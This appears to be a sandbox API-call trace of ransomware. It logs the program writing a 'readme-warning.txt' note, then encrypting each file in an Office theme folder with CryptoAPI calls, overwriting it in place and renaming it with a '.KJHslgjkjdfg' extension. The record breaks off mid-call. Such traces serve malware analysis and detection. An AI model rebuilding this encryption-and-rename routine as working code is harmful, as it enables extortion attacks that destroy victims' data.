GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.953] GetProcessHeap () returned 0x2a0000 [0146.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.953] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.953] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.953] GetProcessHeap () returned 0x2a0000 [0146.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.953] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\readme-warning.txt") returned 83 [0146.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.953] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.955] CloseHandle (hObject=0x118) returned 1 [0146.955] GetProcessHeap () returned 0x2a0000 [0146.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.955] GetProcessHeap () returned 0x2a0000 [0146.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.955] GetProcessHeap () returned 0x2a0000 [0146.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.955] GetProcessHeap () returned 0x2a0000 [0146.955] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.955] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.955] GetProcessHeap () returned 0x2a0000 [0146.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.956] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0146.956] GetProcessHeap () returned 0x2a0000 [0146.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0146.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.956] GetProcessHeap () returned 0x2a0000 [0146.956] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0146.956] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.956] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0146.956] GetProcessHeap () returned 0x2a0000 [0146.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0146.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.957] GetProcessHeap () returned 0x2a0000 [0146.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.957] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.957] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.957] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0146.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.959] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.959] GetProcessHeap () returned 0x2a0000 [0146.959] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.959] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.959] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.959] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.959] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.959] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.959] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.959] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.959] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.960] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.960] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.960] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.960] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19539, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x19539, lpOverlapped=0x0) returned 1 [0146.961] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x19540, dwBufLen=0x19540 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x19540) returned 1 [0146.963] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.963] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19540, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x19540, lpOverlapped=0x0) returned 1 [0146.963] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.963] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.963] SetEndOfFile (hFile=0x118) returned 1 [0146.967] GetProcessHeap () returned 0x2a0000 [0146.967] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.967] GetProcessHeap () returned 0x2a0000 [0146.967] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.kjhslgjkjdfg")) returned 1 [0146.970] CloseHandle (hObject=0x118) returned 1 [0146.971] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0146.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.972] GetProcessHeap () returned 0x2a0000 [0146.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.972] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.972] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.974] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.974] GetProcessHeap () returned 0x2a0000 [0146.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.974] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.974] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.974] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.974] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.975] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.975] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x255, lpOverlapped=0x0) returned 1 [0146.975] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260, dwBufLen=0x260 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260) returned 1 [0146.975] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x260, lpOverlapped=0x0) returned 1 [0146.976] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.976] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.976] SetEndOfFile (hFile=0x118) returned 1 [0146.978] GetProcessHeap () returned 0x2a0000 [0146.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.978] GetProcessHeap () returned 0x2a0000 [0146.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.kjhslgjkjdfg")) returned 1 [0146.983] CloseHandle (hObject=0x118) returned 1 [0146.984] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.985] GetProcessHeap () returned 0x2a0000 [0146.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.985] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.985] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.985] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.985] GetProcessHeap () returned 0x2a0000 [0146.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.985] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.985] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.985] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.988] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.988] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.988] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.988] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.988] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.988] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.988] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.988] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1400, lpOverlapped=0x0) returned 1 [0146.989] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1400, dwBufLen=0x1400 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1400) returned 1 [0146.989] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.990] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1400, lpOverlapped=0x0) returned 1 [0146.990] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.990] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.990] SetEndOfFile (hFile=0x118) returned 1 [0146.993] GetProcessHeap () returned 0x2a0000 [0146.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.993] GetProcessHeap () returned 0x2a0000 [0146.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.994] CloseHandle (hObject=0x118) returned 1 [0146.994] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.997] GetProcessHeap () returned 0x2a0000 [0146.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.997] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.997] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.997] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0146.999] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.000] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.000] GetProcessHeap () returned 0x2a0000 [0147.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.000] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.000] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.000] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.000] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, 